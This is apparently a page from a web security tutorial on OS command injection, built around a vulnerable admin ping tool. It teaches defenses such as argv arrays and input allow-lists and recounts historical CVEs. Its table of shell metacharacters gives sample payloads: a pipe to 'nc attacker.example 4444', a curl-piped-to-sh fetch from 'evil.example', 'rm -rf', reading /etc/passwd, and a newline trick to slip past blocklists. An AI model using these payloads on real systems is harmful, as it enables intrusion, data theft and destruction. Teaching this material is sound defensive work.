The premise
An administrative web page lets you ping a hostname to check connectivity. Behind the form, the server does the simplest possible thing: it concatenates the user's input into a shell command and runs it. system("ping -c 1 " + host).
If the user types example.com, the shell runs ping -c 1 example.com. If the user types example.com; cat /etc/passwd, the shell sees that as two commands separated by a semicolon — runs the ping, then dumps /etc/passwd and prints it back to the page. The web application happily includes the output in its response.
The bug is the same one we have seen on every page in this module: code and data are sharing a channel. Shell syntax includes a whole alphabet of metacharacters (;, &, |, $(...), backticks, >, <, newlines) that the shell interprets specially. If user input is inserted into a command line without being separated from the syntax, the user can introduce more syntax of their own.
Try it — the admin ping tool
You are the developer of NetAdmin Pro v1.4. The page just shells out to ping with whatever the user types. The simulator lets you toggle between the vulnerable build and a parameterized fix.
Network Tools — Ping
Shell metacharacters every attacker tries
| Glyph | What the shell does | Payload shape |
|---|---|---|
| ; | Sequence: run the next command after this one finishes. | host; rm -rf /tmp/cache |
| && | Conditional sequence: run the next command if this one succeeded. | host && whoami |
| || | Conditional sequence: run the next command if this one failed. | host || id |
| | | Pipe: feed the output of this command into the next. | host | nc attacker.example 4444 |
| $( ) | Command substitution: replace with the output of the inner command. | $(curl evil.example/x.sh|sh) |
| ` ` | Same as $() — older syntax. | `whoami` |
| > >> | Redirect output to a file (overwrite / append). | host > /tmp/p |
| < | Read from a file as stdin. | host < /etc/passwd |
| \n | Newline: starts a fresh command. Sneaks past naive blocklists that filter ; and |. | host%0aid |
Filtering one metacharacter at a time is a losing game. The real fix is not to spawn a shell at all.
Defense: don't spawn a shell
Every common runtime offers two ways to run external programs — one that passes a string to /bin/sh, and one that takes an array of arguments and invokes the program directly via execve(2), bypassing the shell entirely. The shell is where the metacharacters get interpreted; if it never runs, they are inert.
Node.js
Python
PHP
And the deeper defenses, in addition:
- Allow-list input. A hostname is an alphanumeric string with dots and hyphens. Reject anything that doesn't match
^[a-zA-Z0-9.\-]+$at the edge. - Drop privileges. The web server should run as an unprivileged user with a read-only filesystem where possible. Even a successful injection then has a small blast radius.
- Skip the shell entirely. Most of the time you don't need
ping; you need to check reachability. Use the language's networking library. - WAF rules and egress filtering. Defense in depth: the application server probably shouldn't be opening outbound connections to
attacker.example:4444. Egress controls would catch reverse shells.
The historical hall of shame
- Shellshock — CVE-2014-6271. A 25-year-old bug in bash's parsing of exported function definitions. Any program that called bash with attacker-controlled environment variables (which, on Linux web servers, meant every CGI script) could be turned into RCE. Patched within days; exploited for years.
- Log4Shell — CVE-2021-44228. Not strictly command injection, but the same shape: log4j's pattern-substitution feature accepted user input and could be coaxed into executing JNDI lookups, which fetched and ran attacker-controlled Java. One log line was enough. Affected vast swaths of the Java ecosystem.
- ImageMagick “ImageTragick” — CVE-2016-3714. Image-processing library handed attacker-supplied URLs into a shell. Uploading a crafted image to a thumbnail-generating service got remote code execution.
- Cisco Smart Install — multiple CVEs. Network management protocol shipped commands directly to /bin/sh. Used in the wild for years.
- WordPress plugin advisories, ongoing — backup-and-restore plugins are particularly bad about this; they call
tar,mysqldump, andwp-cliwith shell concatenation. Every quarter brings new advisories.
The principle, restated
Across SQLi, XSS, CSRF, and command injection, the structure of the bug is identical. A subsystem (database, browser, shell, your own application) consumes a string that mixes instructions you intended with data the user provided, and parses the whole thing the same way. The fix — in every case — is to keep instructions and data in separate channels: parameterized queries, output encoding, CSRF tokens or SameSite cookies, argv arrays instead of shell strings.
The defense vocabulary changes per layer. The pattern is the same.